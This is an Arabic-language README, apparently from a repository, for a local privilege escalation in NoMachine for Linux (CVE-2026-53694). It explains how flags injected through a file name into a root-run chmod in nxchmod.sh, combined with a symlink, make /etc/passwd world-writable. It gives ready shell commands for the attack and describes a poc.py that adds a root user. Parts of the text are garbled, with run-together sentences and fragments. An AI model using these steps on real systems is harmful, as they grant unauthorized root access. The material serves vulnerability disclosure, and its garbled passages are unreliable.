
إثبات مفهوم الاستغلال وشرح لـ CVE-2026-53694، وهي ثغرة تصعيد صلاحيات محلية في NoMachine لنظام لينكس عبر حقن الوسائط في nxchmod.sh، مما يسمح بالوصول كجذر من خلال معالجة الروابط الرمزية.
يحتوي هذا المستودع على الشرح والإثبات العملي (PoC) لـ CVE-2026-53694، وهي ثغرة تصعيد صلاحيات محلية (LPE) في NoMachine لأنظمة لينكس.
بسبب التعقيم غير الصحيح لمحددات الوسائط في النص البرمجي nxchmod.sh، يمكن لمستخدم محلي غير مميز حقن وسائط في أمر نظام يُنفذ بصلاحيات root. من خلال الجمع بين حقن الوسائط هذا ورابط رمزي، يمكن للمهاجم استبدال ملفات نظام حرجة (مثل /etc/passwd) وتصعيد صلاحياته إلى الجذر.
تم تصحيح هذه الثغرة بالكامل من قبل المطور.
كان العثور على هذه الثغرة عملية تجربة وخطأ وإدراك في وقت متأخر من الليل. إليك كيفية تطور الاكتشاف:
/usr/NX/scripts/restricted/nxchmod.sh كان يُنفذ بشكل دوري بواسطة المستخدم الجذر لإدارة الصلاحيات في أدلة معينة.chmod a+rw على الملفات. فكرت: إذا كنت أتحكم في الوجهة، هل يمكنني استخدام رابط رمزي لجعل /etc/passwd قابلًا للكتابة؟ جربت رابطًا رمزيًا عاديًا (ln -s /etc/passwd /tmp/asdf)، لكنه فشل. تمنع بتة الالتصاق (sticky bit) في لينكس على أدلة مثل /tmp المستخدم الجذر من اتباع رابط رمزي أنشأه مستخدم آخر بشكل أعمى.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. كان النص البرمجي يأخذ اسم الملف حرفيًا ويمرره مباشرة إلى chmod.X1234 -R -L. عندما تم تشغيل النص البرمجي، قام أمر chmod بتوسيع هذا إلى وسائط بدلاً من مسار ملف واحد.-L (اتبع الروابط الرمزية) و (تكراري) في أمر عبر اسم الملف، أجبرت ثنائي نفسه على حل واتباع الرابط الرمزي الذي أنشأته في الدليل، متجاوزًا بذلك حماية بتة الالتصاق تمامًا.تنبع الثغرة من كيفية تعامل NoMachine مع صلاحيات مقابس X11/Wayland. يتم تشغيل النص البرمجي nxchmod.sh بواسطة البرنامج الخفي nxserver.bin الذي يعمل بصلاحيات الجذر.
يبدو التنفيذ المعرض للخطر هكذا:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
إذا أنشأ المهاجم بنية دليل وملفًا باسم X1234 -R -L، يصبح الأمر الناتج الذي ينفذه الجذر: /bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
عند وضع رابط رمزي يشير إلى /etc/passwd داخل الدليل X1234، تجبر الوسائط المحقونة -R و -L برنامج chmod على اتباع الرابط الرمزي بشكل تكراري ومنح صلاحيات قراءة/كتابة عالمية للملف الهدف.
لكي ينجح هذا الاستغلال، يجب أن يستوفي النظام المستهدف الشروط التالية:
يمكنك إعادة إنتاج هذه الثغرة إما يدويًا باستخدام أوامر الشل أو تلقائيًا باستخدام النص البرمجي بلغة بايثون المرفق.
انتقل إلى /tmp/.X11-unix/ ونفذ الأوامر التالية لإنشاء بنية الدليل الخبيثة.
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
بمجرد التحقق من الثغرة وتصعيد الصلاحيات، قم بتشغيل أوامر التنظيف التالية لاستعادة استقرار النظام وإزالة الآثار:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
يتم توفير استغلال آلي كامل في poc.py. يتحقق هذا النص البرمجي من متطلبات Wayland، ويجهز الرابط الرمزي، وينتظر دورة تنفيذ nxchmod.sh ويحقن مستخدم جذر جديد (gg) في /etc/passwd.
لتشغيل الاستغلال:
python3 poc.py
تم معالجة هذه الثغرة بواسطة NoMachine. يجب على المستخدمين التحديث إلى الإصدارات التالية أو الأحدث:
-Rchmodchmod/etc/passwd قابلاً للكتابة (a+rw)، تمكنت ببساطة من إضافة مستخدم جذر جديد إلى الملف والدخول إليه باستخدام su.